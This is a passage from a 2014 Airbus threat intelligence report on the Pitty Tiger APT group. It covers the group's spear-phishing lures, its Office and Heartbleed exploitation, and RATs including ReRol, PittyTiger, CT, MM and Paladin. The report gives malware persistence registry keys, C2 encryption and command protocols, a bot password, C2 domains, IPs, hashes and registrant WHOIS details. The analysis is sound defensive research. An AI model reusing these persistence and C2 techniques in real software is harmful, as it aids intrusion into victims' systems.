1http://nakedsecurity.sophos.com/2012/08/03/poisoned-doc-targeted-malware-attack/ 2http://nakedsecurity.sophos.com/2010/06/24/targeted-trident-cyberattack-defence-company/ http://nakedsecurity.sophos.com/2012/08/03/poisoned-doc-targeted-malware-attack/ http://nakedsecurity.sophos.com/2010/06/24/targeted-trident-cyberattack-defence-company/ Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 9/58 Copyright  2014 Airbus Defence  Space - All rights reserved INFECTION METHODS SPEAR PHISHING AND WEAPONIZED DOCUMENTS Pitty Tiger, like most other APT groups, use spear phishing e-mails extensively in order to gain an initial foothold within the targeted environment.
We have been able to find a spear phishing e-mail crafted by the attackers.
This e-mail spoofed the identity of an employee of a targeted company: From: XXXXXXX To: XXXXXXX File: 1 Attachment: Birds Eye Point of View.doc While the holiday season means clustering clustering time for a vacation for many, there are Those That Will Be of us staying home this year.
Thats why weve Decided to take you on a trip around the world from a birds eye view of the item Its safe to say That MOST of the lucky people on vacation Will not see breathtaking sights like these.
Remember to look down XXXXXX The attached file is a Microsoft Office Word document triggering CVE-2014-1761 to infect the computer it is sent to: Word document used to infect computers with Troj/ReRol.
A Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 10/58 Copyright  2014 Airbus Defence  Space - All rights reserved While this example looks very amateur for a spear phishing attempt, we suppose the group has conducted more advanced spear phishing campaigns, based on the fact that we found infected Word documents showing content stolen from victims of the group.
These documents were infecting the system with Troj/ReRol.
A malware, which we will detail later in this report.
This could mean that the Pitty Tiger group is using stolen material as spear phishing content either to target other persons in the compromised company, or to target other persons in a competitors company, or more generally to compromise another target.
Pitty Tiger also seem to use fake Microsoft Office Excel content, yet we could only find empty content delivering once again the Troj/ReRol.
A malware.
DIRECT ATTACKS Although we have not been able to find evidences of any attack aimed at exploiting vulnerabilities on the groups targets servers, we have been able to record several vulnerability scanning launched from one cc server straight to the targets.
The attackers have been using different vulnerability scanners aimed at their targets.
While some targets have been scanned with generic vulnerability scanning tools like HScan or Fluxay and port scanners like Nmap, some other targets have been scanned for very specific vulnerabilities, like a ZyWALL vulnerability or a FORTINET product.
We have also been able to testify that the Pitty Tiger group has successfully collected information on some of their targets by exploiting the HeartBleed1 bug.
This vulnerability which exists on some old versions of OpenSSL allows attackers to collect data from chunks of memory from the targeted machine.
It allowed the Pitty Tiger group to get admin credentials from at least one target, for example.
Memory data leak from one server  Heartbleed exploit on one of PittyTigers targets 1 http://heartbleed.com/ http://heartbleed.com/ Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 11/58 Copyright  2014 Airbus Defence  Space - All rights reserved Running automated vulnerability scanners on whole ranges of IP addresses used by the targets or on several domains is a very noisy way to collect information and find server vulnerabilities.
We would advocate that this method is unwise when you want to stay furtive, and doing it from a cc server is very surprising, to say the least.
While the Pitty Tiger group is experienced on some aspects on its running APT campaigns, it definitely lacks some maturity here.
Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 12/58 Copyright  2014 Airbus Defence  Space - All rights reserved MALWARE INFORMATION TROJ/REROL.A One of the favorite methods used by the Pitty Tiger group to infect users is to use a Microsoft Office Word document which exploits a specific vulnerability.
The payload infecting the system is malware known as Troj/ReRol.
A.
It is generally the first step of the initial compromise for Pitty Tiger campaigns.
Exploitation We have been able to find one such document1 used by that group of attacker, exploiting CVE- 2012-0158, an old critical vulnerability impacting Microsoft Office and corrected by Microsofts MS12-027 fix in April 2012.
This vulnerability affects Microsoft Office versions up to Office 2010.
We also found one RTF document embedding CVE-2014-1761, which is a more recent exploit.
We discovered several different documents spreading this malware by triggering CVE-2012-0158 vulnerability, yet we could not share them in this report, since these documents contain information about victims of the Pitty Tiger group.
The discovery of this old vulnerability exploitation in June 2014 could mean that the Pitty Tiger group has no direct access to 0day exploits, or not enough budgets to buy some.
It could also mean they use their low range exploit by default because it is working on their targets and is sufficient to compromise their workstations.
The Word document we initially found was probably a test document used by the group.
When opened, it shows a single line written in Chinese language, which can be translated as Hello Microsoft Office Word decoy test document used by the Pitty Tiger group Installation When successfully triggered, the exploit infects the host by dropping and executing a file named svohost.exe2 in the temporary folder of the currently logged-in user: 1MD5 hash: e70c0479cdb9aa031a263740365e7939 2 MD5 hash: 1752aacc08ee0acd58405e9bc10b0dbb Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 13/58 Copyright  2014 Airbus Defence  Space - All rights reserved C:\DOCUME1\USER\LOCALS1\Temp\svohost.exe This binary is Troj/ReRol.
A according to Sophos naming convention1.
It immediately triggers alarms on our sandbox: Alarms in our sandbox system, triggered by the Troj/ReRol.
A malware The binary drops a copy of itself in the Application Data folder of the currently logged-in user: Creation of a copy of the Pitty Tiger malware in a user folder in our sandbox The malware initiates a communication to time.windows.com to check for connectivity, and then communicates with the cc server at mac.avstore.com.tw.
1http://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojRerol- A/detailed-analysis.aspx http://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojRerol-A/detailed-analysis.aspx http://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojRerol-A/detailed-analysis.aspx Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 14/58 Copyright  2014 Airbus Defence  Space - All rights reserved Beginning of an encrypted communication between the Troj/ReRol.
A malware and its cc server Very few variants of Troj/ReRol.
A are public.
The variants we have seen did use that same User- Agent: Mozilla/4.0 (compatible) The persistence mechanism used by the malware is the creation of a registry key named Shell containing the path to the malware on the infected system: Key Path: \REGISTRY\USER\SID\Software\Microsoft\Windows NT\CurrentVersion\Winlogon Value Name : Shell Value : explorer.exe,C:\DOCUME1\XXXXXX\APPLIC1\svohost.exe, The payload of this malware is used to collect information on the newly infected host, and send it back to the cc server.
It can also download and execute binaries.
Command  Control The data sent in the POST request has a 0x11 bytes header consisting of a fixed-value byte (0xc3) followed by a 0x10 bytes encryption key.
The data following the header is encrypted using RC4 with the previous key.
Once the data is deciphered, the last byte of the clear text should also be 0xc3.
We have been able to decrypt the communications and confirmed what is transmitted to the cc server.
Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 15/58 Copyright  2014 Airbus Defence  Space - All rights reserved Here is an anonymized sample of communication showing information collected by the malware: HostName :xxx UserName :xxx SysType  :32bit Windows 7 Enterprise Service Pack 1 6.1 7601 Organization: Owner:xxx --------------Server Info------------------- - AdobeARMservice - Adobe Acrobat Update Service - AeLookupSvc - Application Experience - AudioEndpointBuilder -  (list goes on) --------------Soft Info------------------- 1   Adobe AIR 4.0.0.1390 2   Adobe Shockwave Player 12.0 12.0.9.149 3   FileZilla Client 3.7.4.1 3.7.4.1 4   Mozilla Thunderbird 24.3.0 (x86 en-US) 24.3.0 5    (list goes on) --------------IP Config------------------- Adapt Type: Ethernet NetCardNum:  11 NetCard Name: XXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX Description : Realtek RTL8139C Fast Ethernet NIC MAC-ADDR:     XX-XX-XX-XX-XX-XXX IP-Addr:      10.xxx.xxx.xxx IP-Mask:      255.255.255.0 GateWay:     10.xxx.xxx.xxx DHCP Serv:     1 DHCP Host:     10.xxx.xxx.xxx WINS Serv:     0 WINS PriHost: WINS SecHost: Sample information collected by Troj/ReRol.
A malware This information is very useful for an attacker: it shows all software installed on the system, and running services.
Once this data has been transferred to the cc server, it responds by sending additional malware to execute on the machine.
The cc part consists of two files: - dr.asp: an ASP frontend instantiating a control, setting some variables, and passing the payload.
-
JHttpSrv.dll: a controller which should be registered via regsvr32.
It exposes 4 methods which can be called by the ASP script: o SetIP(strIP): sets the bot IP address o AddKeyword(strKeyword, strFilePath): binds a keyword to a binary on the server o Work(lpByteArray, nDataLength): deciphers the payload, looks for the registered keywords, and writes it to a logfile o ResponseBinary(): sends back the binary matching a specific a keyword Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 16/58 Copyright  2014 Airbus Defence  Space - All rights reserved The dr.asp registers the following keywords: - SysType  :32bit to the binary 32.exe - SysType  :64bit to the binary 64.exe These two binaries were no longer available on the server.
However, we found various files which could have been used as 32.exe in the past: - 3200.exe - 322.exe - 32m.exe - 32mm.exe The 322.exe file is a legitimate, Chinese, calc.exe tool.
It might have been used by the attackers to perform tests.
The 3 others binaries are RATs, which will be detailed in the next parts.
PITTYTIGER RAT This RAT is the origin of the attackers group name.
PittyTiger is a mutex used by the malware.
Pitty Tiger is also a string transmitted in the network communications of the RAT, as you will see in this chapter.
Installation The malware1, when running in our sandbox, triggers the following alarms: Alarms in our sandbox system, triggered by the PittyTiger malware The binary drops two files in C:\Windows\System32: 1 MD5 hash : be18418cafdb9f86303f7e419a389cc9 Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 17/58 Copyright  2014 Airbus Defence  Space - All rights reserved Files dropped by the PittyTiger RAT in our sandbox The qmgrxp.exe binary is a simple copy of the original binary.
It drops the packet64.dll, and injects it in explorer.exe.
When executed, a mutex called PittyTiger is created.
Persistence is achieved by adding the path to the binary to the WinlogonUserInit key: Key Path: \REGISTRY\USER\SID\Software\Microsoft\Windows NT\CurrentVersion\Winlogon Value Name: UserInit Value: C:\WINDOWS\system32\userinit.exe,C:\WINDOWS\system32\qmgrxp.exe, The packet64.dll is the main payload of the RAT.
After being injected, it starts sending its Hello packet to its cc server: Sample communication from PittyTiger RAT Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 18/58 Copyright  2014 Airbus Defence  Space - All rights reserved Command  Control All the requests sent to the cc contains the string /FC001/ followed by the bot id.
This id consists of the infected computer name followed by a dash and the lower word of the disk serial id.
The data sent is simply encoded using base64, there is no cipher at all.
The hello packet, once decoded, looks like the following: --------------------------PittyTigerV1.0      --------------------- --------------                       ---------------------------- --------------                        ---------------------------- Version:NULL Our sample had 3 cc servers configured: - jackyandy.avstore.com.tw:80 - chanxe.avstore.com.tw:443 - newb02.skypetm.com.tw:80 The following commands are implemented: - File Download (get) and Upload (put) - Screen Capture 8bit (prtsc) and 16bit (prtsc2) - Remote Shell (ocmd/ccmd) - Configuration update (setserv/freshserv) - Direct command execution Regarding the controller part, we found two different versions: - A Delphi binary handling PittyTiger connections only - A .NET binary handling both PittyTiger and CT connections The interface handling both Pitty TIGER and CT connections is very interesting.
We have been able to confirm that the author of those two families of malware is the same person, as will be seen in the next chapter about CT RAT.
Pitty Tiger RAT  controller part Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 19/58 Copyright  2014 Airbus Defence  Space - All rights reserved CT RAT This remote administration tool is often used by the Pitty Tiger group.
We have been able to acquire both the client and the server parts.
We found two instances of the same binary with different names  32mm.exe and mm32.exe1.
This RAT seems to be an evolution of PittyTiger, since a specific server binary we found could handle both requests from CT and PittyTiger, and was indicated as compatible with PittyTiger.
Moreover, the same commands are implemented in both RATs.
Installation Unsurprisingly, when running in our sandbox, the RAT triggers the same alarms as PittyTiger: Alarms in our sandbox system, triggered by the CT RAT The binary drops two files in C:\Program Files\Internet Explorer: 1 MD5 hash: f65dc0b3eeb3c393e89ab49a3fac95a8 Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 20/58 Copyright  2014 Airbus Defence  Space - All rights reserved Files dropped by the CT RAT in our sandbox The ieupdate.exe is a simple binary to inject the DLL into explorer.exe.
Persistence is achieved via the following registry key: Key Path: \REGISTRY\USER\SID\Software\Microsoft\Windows NT\CurrentVersion\Windows Value Name: load Value: c:\PROGRA1\INTERN1\ieupdate.exe After injection, the RAT sends a first login packet to its cc: Encrypted communication from a machine infected with CT RAT Command  Control The RAT communication is performed through HTTP requests.
The data is sent encrypted with RC4, and base64-encoded.
The RC4 key is the Unicode form of the requested URL.
Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 21/58 Copyright  2014 Airbus Defence  Space - All rights reserved The Login packet contains the following string, after decoding and deciphering: Login -C:PC-XXX -U:User-XXX -L:10.10.10.1 -S:Microsoft Windows XP Service Pack 3 5.1 2600 -M:Nov 13 2013 -P:1033 It contains the computer name, the user name, the internal IP address, the OS version, the RAT internal version and the Language ID of the system.
The RAT can then receive commands from its cc.
Usual RAT features are implemented: - File Download (GET) and Upload (PUT) - Remote shell (ocmd/ccmd) - Configuration update (cfg) - Sleep (sleep) Version and author(s) Regarding the configuration, our sample communicates with sop.avstore.com.tw, and contains the string Nov 13 2013, which should be a version identifier.
The cc part is a Windows binary written in .NET.
We found 2 versions: - Version 2013.10: CT only controller - Version 2013.12: CT and PittyTiger controller The About form gives the name of the developer(s): Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 22/58 Copyright  2014 Airbus Defence  Space - All rights reserved CT controller in action with a testing machine of ours The version of the controller which can handle both PittyTiger and CT shows the same author(s): CT/PittyTiger controller Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 23/58 Copyright  2014 Airbus Defence  Space - All rights reserved As these screenshots show, the switch between PittyTiger and CT was probably in the last semester of 2013.
The text can be translated, thanks to Google Translate, as: CT console (compatible pittytiger) v1.3 2013.12 by Trees and snow Further discussion about this author is provided in subsequent sections.
MM RAT (AKA TROJ/GOLDSUN-B) We named this malware MM RAT at the beginning of our investigation, before we found an existing name for it, Troj/Goldsun-B according to Sophos.
This is another remote administration tool often used by the Pitty Tiger crew.
We have been able to acquire both a client and server part for it.
Installation The binary we found is named 3200.exe1, and triggers the following alarms in our sandbox: Alarms in our sandbox system, triggered by the Troj/Goldsun-B malware The release.tmp file is dropped on the system: 1 MD5 hash: 728d6d3c98b17de3261eaf76b9c3eb7a Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 24/58 Copyright  2014 Airbus Defence  Space - All rights reserved File dropped by the malware in our sandbox The binary is also copied to the users Application Data directory, and injects the release.tmp file in explorer.exe.
Persistence is achieved by adding the path to the binary to the Winlogon Shell key: Key Path: \REGISTRY\USER\SID\Software\Microsoft\Windows NT\CurrentVersion\Winlogon Value Name: Shell Value: explorer.exe,C:\DOCUME1\UserName\APPLIC1\binary name, The RAT embeds its own DNS server IP addresses to make the cc domain names resolutions.
These addresses are listed below: - 63.251.83.36 - 64.74.96.242 - 69.251.142.1 - 212.118.243.118 - 216.52.184.230 - 61.145.112.78 - 218.16.121.32 Command  Control It starts resolving its domains after injection, and immediately sends requests.
First requests are used to check for updates (GET request on /httpdocs/update/update.ini).
A Hello packet is then sent: Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 25/58 Copyright  2014 Airbus Defence  Space - All rights reserved Hello packet sent by Troj/Goldsun-B to its cc server The bot then repeatedly sends GET requests on /httpdocs/mm/bot_id/ComMand.sec to retrieve remote commands.
The communication protocol is quite simple: GET requests are used to receive data from the cc, and POST requests to send data.
In POST commands, the CGI name represents the command.
The following features are implemented: - cc authentication using password - Remote shell - Remote commands - File Download / Upload / Deletion / Search - Bot termination The following CGI files can be requested by the bot: - Vip: test for connectivity - Owpp4: register new bot - CReply: answer to remote commands - Clrf: clear remote file (to clear ComMand.sec after reading) - CFile: transmit file (file transfers or answers to commands) - Cerr: send error The configuration is stored locally in a file called schmup.sys.
The file is ciphered using RC4, using the MD5 hash of rEdstArs as the key.
Our sample uses mca.avstore.com.tw, star.yamn.net and bz.kimoo.com.tw as cc servers.
It contains the 1.6.0 version number, and uses the password 9ol.8ik, to authenticate with the bots.
Unlike others cc binaries, the cc part of this RAT does not have a graphical interface, but can be remotely requested to manage the bots.
Furthermore, no authentication is required to send commands to the cc (but you need to know the configured password to interact with the bots).
The management protocol is the same as the bots protocol, with different CGI files: - Shutdown: shutdown the cc - Cnor: add a new command for a bot (writes it in ComMand.sec) - Mlist: get the list of bots - Mlist2: write the list of bots to the file Online.dat Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 26/58 Copyright  2014 Airbus Defence  Space - All rights reserved The bots answers to remote commands can be retrieved by requesting the Reply.sec file (e.g.
GET /httpdocs/mm/bot_id/Reply.sec) Network patterns These network patterns might ring bells in some researchers minds.
The network communication used by this binary are the same as those used by the Enfal malware, which has been used in the past by the Lurid group (APT attackers) and by other threat actors in China1.
An examination of the code did not reveal code similarities with the Enfal malware.
We do not currently know why this malware uses the same patterns to communicate.
PALADIN RAT This is another remote administration tool used by the Pitty Tiger group.
We have been able to get both a client and server part of it.
Installation The binary we found was dropped by a malicious Word document.
The following alarms are triggered in the sandbox: Alarms in our sandbox system, triggered by the Paladin RAT The shellcode contained in the Word file drops the following file, and executes it: - C:\Documents and Settings\User\Local Settings\Temp\svohost.exe2 This one drops in turn the following file: 1 http://la.trendmicro.com/media/misc/lurid-downloader-enfal-report-en.pdf 2 MD5 hash: 0567fd7484efbae502cac279d32ed518 http://la.trendmicro.com/media/misc/lurid-downloader-enfal-report-en.pdf Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 27/58 Copyright  2014 Airbus Defence  Space - All rights reserved File dropped by the malware in our sandbox This tmp file is then copied to C:\Windows\system32\Nwsapagentex.dll and registered as a service called Nwsapagent.
This malware is a variant of the infamous Gh0st RAT1.
Our specific sample uses ssss0 instead of the usual Gh0st header for network communications.
Command  Control The commands ID used in the communication protocol have also changed, but the features are quite the same.
The configuration is directly embedded in the binary, and deciphered at runtime.
Up to 5 cc servers can be configured, but our sample only had one: ey.avstore.com.tw:53.
EY could stand for Ernst  Young.
It would not be very surprising, since a lot of different attack groups do use anti-virus vendors or other big companys names to try to look more legitimate.
Pitty Tiger is no exception, as detailed later in this report.
We also found two cc binaries, claiming to be versions 2.1 and 2.2 of the Paladin RAT controller.
Version 2.1 answers to the ssss0 header, while version 2.2 uses the classical Gh0st header.
Paladin controller used with one of our testing machines 1http://www.mcafee.com/sg/resources/white-papers/foundstone/wp-know-your-digital-enemy.pdf http://www.mcafee.com/sg/resources/white-papers/foundstone/wp-know-your-digital-enemy.pdf Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 28/58 Copyright  2014 Airbus Defence  Space - All rights reserved Paladin has multiple features: file transfer, screenshot, command shell LEO RAT Additionally to the Paladin RAT, we found another variant of Gh0st RAT, named Leo.
Although we have found it on a cc server of the group, there is no evidence that is has been used by the group, in opposition to Paladin which is used often by Pitty Tiger.
Moreover, the built malware we found in the same folder was configured to connect to a local IP address, probably for testing purposes.
Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 29/58 Copyright  2014 Airbus Defence  Space - All rights reserved Leo malware controller screenshot  a variant of Gh0st RAT Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 30/58 Copyright  2014 Airbus Defence  Space - All rights reserved INFRASTRUCTURE Our investigation has focused on three particular cc servers used by the group.
These cc servers, unlike the other ccs used by the group, have been misconfigured.
Once parsed and dumped, it provided us with more insight.
We found several domains used by the Pitty Tiger group, the most interesting ones being detailed in this chapter.
Pitty Tiger, like other APT attackers, often use anti-virus familiar names when registering domains or creating subdomains.
Some examples can be avstore.com.tw, sophos.skypetm.com.tw, symantecs.com.tw, trendmicro.org.tw etc.
AVSTORE.COM.TW WHOIS Data The registration information for this domain has been the same since 2013-06-04: Domain Name: avstore.com.tw Registrant: information of network company longsa  longsa33yahoo.com 86.88885918 No.520.spring road.shenyang shanghai, shanghai CN This information has been used to register another domain, skypetm.com.tw, which has also been used by the Pitty Tiger group.
Malware families Our research also led us to the discovery of four different malware families connected to subdomains of avstore.com.tw: - PittyTiger RAT (aka Backdoor:Win32/Ptiger.
A) - Troj/ReRol.
A - CT RAT - Paladin RAT (variant of Gh0st RAT) MD5 Family CC Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 31/58 Copyright  2014 Airbus Defence  Space - All rights reserved 0d3b3b422044759b4a08a7ad8afe55c7 Paladin dropper ey.avstore.com.tw 75cf4f853f0f350fac9be87371f15c8d Exploit:Win32/CVE-2012-2539 mac.avstore.com.tw b6380439ff9ed0c6d45759da0f3b05b8 Troj/ReRol.
A dropper sop.avstore.com.tw 5e2360a8c4a0cce1ae22919d8bff49fd Troj/ReRol.
A f65dc0b3eeb3c393e89ab49a3fac95a8 CT RAT e7dc3bbe8b38b7ee0e797a0e27635cfa 4ce8593c9de2b27b5c389f651c81638b chanxe.avstore.com.tw jackyandy.avstore.com.tw 8df89df484ca5c376b763479ea08d036 PALADIN be18418cafdb9f86303f7e419a389cc9 Pitty Tiger RAT jackyandy.avstore.com.tw MD5 hashes of files linked to avstore.com.tw Links between malware samples, malware families, and avstore.com.tw subdomains Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 32/58 Copyright  2014 Airbus Defence  Space - All rights reserved CC servers and IP addresses Hosting company Geolocation IP Range IP Address Host Time space HongkongDingfengxinhuiBgp Datacenter Kowloon, Hong Kong 122.10.0.0 122.10.63.255 122.10.48.189 chanxe.avstore.com.tw jackyandy.avstore.com.tw Actually in use Hurricane Electric Inc Fremont, USA 66.220.0.0 66.220.31.255 66.220.4.100 mac.avstore.com.tw sop.avstore.com.tw ey.avstore.com.tw Actually in use New World Telephone LTD Hong Kong City, Hong Kong 58.64.175.0 58.64.175.255 58.64.175.191 jackyandy.avstore.com.tw Dec. 2013 Avstore.com.tw infrastructure: hosting and subdomains SKYPETM.COM.TW WHOIS Data This domain has shown two different WHOIS entries through time: Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 33/58 Copyright  2014 Airbus Defence  Space - All rights reserved - From 2011-12-29 to 2013-01-02 : Registrant :chenzhizhong Email : hurricane_huang163.com Telephone : 86.2426836910 - From 2013-11-21 until today : Registrant : long sa Email : longsa33yahoo.com Telephone : 86.88885918 The most recent registration information is also used for avstore.com.tw.
Malware families Six malware families have been identified as communicating with subdomains of skypetm.com.tw: - MM RAT - Pitty Tiger RAT - Troj/ReRol.
A - CT RAT - Paladin - Exadog MD5 Malware family CC server 81fa811f56247c236566d430ae4798eb   MM RAT  ms11.skypetm.com.tw 55e456339936a56c73a7883ea1ddb672  Backdoor:Win32/Ptiger.
A  botemail.skypetm.com.tw d5da60d678d5a55a847e1e6723c7a4d0  Backdoor:Win32/Ptiger.
A  aniu.skypetm.com.tw 0750569cf1733d4fbb01169476387cc2  Backdoor:Win32/Ptiger.
A  aniu.skypetm.com.tw zeng.skypetm.com.tw abb0abfab252e4bfb9106273df3c1c2 Backdoor:Win32/Ptiger.
A  aniu.skypetm.com.tw zeng.skypetm.com.tw c0656b66b9f4180e59e1fd2f9f1a85f2  Troj/Rerol.
A  zeng.skypetm.com.tw ce15fa3338b7fe780e85c511d5e49a98  Troj/Rerol.
A zeng.skypetm.com.tw 8a54adb3976d1c03605656ca55be7400  Backdoor:Win32/Ptiger.
A  super.skypetm.com.tw a1ea6dc12b983c7262fe76c1b3663b24  Backdoor:Win32/Ptiger.
A  qinoo.skypetm.com.tw b6380439ff9ed0c6d45759da0f3b05b8  Troj/Rerol.
A dropper sophos.skypetm.com.tw 5e2360a8c4a0cce1ae22919d8bff49fd   Troj/ReRol.
A  sophos.skypetm.com.tw 79e48961d1ee982a466d222671a42ccb Troj/ReRol.
A sophos.skypetm.com.tw 4ab74387f7a02c115deea2110f961fd3 ReRol.
A sophos.skypetm.com.tw bf95e89906b8a17fd611002660ffff32  Troj/ReRol.
A sophos.skypetm.com.tw CONTAINS VICTIM INFORMATION Office Word file - Rerol.
A dropper sophos.skypetm.com.tw 4ce8593c9de2b27b5c389f651c81638b   CT RAT  newb02.skypetm.com.tw 8df89df484ca5c376b763479ea08d036  Paladin  newb02.skypetm.com.tw 22e47c5e3809a4150d0db7fc99a68cc0 Office Excel file  Rerol.
A dropper margo.skypetm.com.tw dd87c68c1e71bb104a48a6be87a2349f Backdoor:Win32/Ptiger.
A ripper.skypetm.com.tw 068870c2c165a1d29fc2f3d3edfed3ae Win32/Exadog.
AA link.skypetm.com.tw Unknown Backdoor:Win32/Ptiger.
A asdf.skypetm.com.tw mailto:hurricane_huang163.com mailto:longsa33yahoo.com Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 34/58 Copyright  2014 Airbus Defence  Space - All rights reserved Skypetm.com.tw infrastructure: subdomains and malware linked to it Hosting Company Geolocalisation IP Range IP Address CC server Timeline Take 2 Hosting Inc. San Jose, USA  173.252.192.0 - 173.252.255.255 173.252.198.103 newb02.skypetm.com.tw Actually in use Hurricane Electric Inc. Fremont USA 66.220.0.0 - 66.220.31.255 66.220.4.100 sophos.skypetm.com.tw Actually in use Taiwan Academic Network Taipei, Taiwan 210.60.0.0 - 210.60.255.255 210.60.141.45 botemail.skypetm.com.tw 2012-03-06 Gorillaservers Inc.  Los Angeles, USA 198.100.96.0 - 198.100.127.255 198.100.121.15 sophos.skypetm.com.tw ?
Gorillaservers Inc.  Los Angeles, USA 198.100.96.0 - 198.100.127.255 198.100.121.15 margo.skypetm.com.tw 2013-11-22 Webnx Inc. Los Angeles, USA 216.18.192.0 - 216.18.223.255 216.18.208.4 botemail.skypetm.com.tw 2013-04-04/2013- 12-16 Webnx Inc. Los Angeles, USA 216.18.192.0 - 216.18.223.255 216.18.208.4 qinoo.skypetm.com.tw ?
Data Communication Business Group Taipei, Taiwan 59.112.0.0 - 59.123.255.255 59.120.84.230 botemail.skypetm.com.tw 2012-03-12/2012- 04-28 Data Communication Business Group Taipei, Taiwan 211.75.128.0 - 211.75.255.255 211.75.195.1 super.skypetm.com.tw 2011-08-30/2013- 12-16 Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 35/58 Copyright  2014 Airbus Defence  Space - All rights reserved Data Communication Business Group Taipei, Taiwan 61.220.0.0 - 61.227.255.255 61.220.44.244 aniu.skypetm.com.tw 2013-04-05/2013- 12-16 Data Communication Business Group Taipei, Taiwan 61.220.0.0 - 61.227.255.255 61.220.44.244 zeng.skypetm.com.tw ?
Data Communication Business Group Taipei, Taiwan 61.220.0.0 - 61.227.255.255 61.220.209.17 qinoo.skypetm.com.tw ?
New World Telephone Ltd. Hong Kong City, Hong Kong 113.10.169.0 - 113.10.169.255 113.10.169.162 margo.skypetm.com.tw Actually in use New World Telephone Ltd. Hong Kong City, Hong Kong 58.64.185.0 - 58.64.185.255 58.64.185.200 zeng.skypetm.com.tw 2013-12-16/2013- 12-16 New World Telephone Ltd. Hong Kong City, Hong Kong 113.10.240.0 - 113.10.240.255 113.10.240.54 qinoo.skypetm.com.tw ?
New World Telephone Ltd. Hong Kong City, Hong Kong 113.10.221.0 - 113.10.221.255 113.10.221.126 zeng.skypetm.com.tw ?
New World Telephone Ltd. Hong Kong City, Hong Kong 113.10.240.0 - 113.10.240.255 113.10.240.50 link.skypetm.com.tw 2012-12-21/2013- 12-16 Asia Data (hong Kong) Limited Hong Kong City, Hong Kong 101.1.17.0 - 101.1.31.255 101.1.25.74 zeng.skypetm.com.tw Actually in use Isp Satellite Broadband Provider Hong Kong City, Hong Kong 202.174.130.0 - 202.174.130.255 202.174.130.110 ms11.skypetm.com.tw 2011-02-27/2013- 12-16 Jeongkyunghee Anyang, South Korea 221.144.0.0 - 221.168.255.255 221.150.164.114 link.skypetm.com.tw 2011-06-29/2012- 12-18 COMMON CHARACTERISTICS BETWEEN THE TWO DOMAINS Malware families and samples Avstore.com.tw and skypetm.com.tw have 4 malware families in common, communicating to subdomains of both domains: Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 36/58 Copyright  2014 Airbus Defence  Space - All rights reserved Links between malware samples, IP addresses and ccs associated to avstore.com.tw and skypetm.com.tw OTHER DOMAINS LINKED WITH THE PITTY TIGER GROUP Domain Shares with Comment paccfic.com Whois information acers.com.tw, foxcom.com.tw, dopodo.com.tw, stareastnet.com.tw webconference.com.tw Whois information techsun.com.tw Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 37/58 Copyright  2014 Airbus Defence  Space - All rights reserved IP Address techsun.com.tw, trendmicro.org.tw stareastnet.com.tw Whois information acers.com.tw, foxcom.com.tw, dopodo.com.tw, paccfic.com Two PittyTiger malware and a CT RAT have been pointing to  several  stareastnet.com.tw subdomains.
IP Address dopodo.com.tw, foxcom.com.tw, kimoo.com.tw, symantecs.com.tw symantecs.com.tw Whois information trendmicroup.com A pittytiger dropper, a Paladin malware and  a CT RAT have been pointing to  several  symantecs.com.tw subdomains.
IP Address dopodo.com.tw, foxcom.com.tw, kimoo.com.tw, stareastnet.com.tw, wmdshr.com, trendmicro.org.tw trendmicroup.com Whois information symantecs.com.tw trendmicro.org.tw Whois information Skypetm.com.tw, avstore.com.tw A paladin and a PittyTiger malware have been pointing to several trendmicro.org.tw subdomains.
IP Address webconference.com.tw, techsun.com.tw, skypetm.com.tw, kimoo.com.tw, symantecs.com.tw, hdskip.com lightening.com.tw Whois information helosaf.com.tw, seed01.com.tw Paladin and PittyTiger samples has been pointing to several lightening.org.tw subdomains.
